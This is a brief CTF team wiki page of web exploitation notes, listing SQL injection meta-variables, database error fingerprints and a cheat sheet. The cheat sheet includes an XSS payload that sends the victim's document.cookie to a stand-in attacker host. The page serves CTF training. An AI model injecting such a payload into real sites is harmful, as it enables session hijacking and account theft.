Hexcellents CTF Wiki

Web related

General Stuff

  • Most web exploiting should be done in OWASP Mantra . This browser is a derivative of Firefox that has lots of tools, plugins and addons integrated (with everything sanitized) to facilitate vulnerability finding.

SQLi

Scanners:

Meta-information variables:

  • @@datadir (MySQL)
  • @@version (MySQL /MS SQL)
  • user() (MySQL)
  • database() (MySQL)

Cheat sheet

  • XSS cookie stealing payload
  <script>
  function hack(){
     XSSImage=new Image;
     XSSImage.src="http://attacker's site.com/steal?stuff=" + document.cookie + "";
  }
  hack();
  </script>
  
  • Database error fingerprints:
    • “ORA-01756: quoted string not properly terminated” → Oracle
    • “Incorrect Syntax near ” → MSSQL
    • “You have an error in your SQL syntax” → MySQL
    • Hex error code → PostgreSQL

Test setup

kb/web/home.txt · Last modified: 2013/10/15 22:28 by rcaragea
[unknown link type]Back to top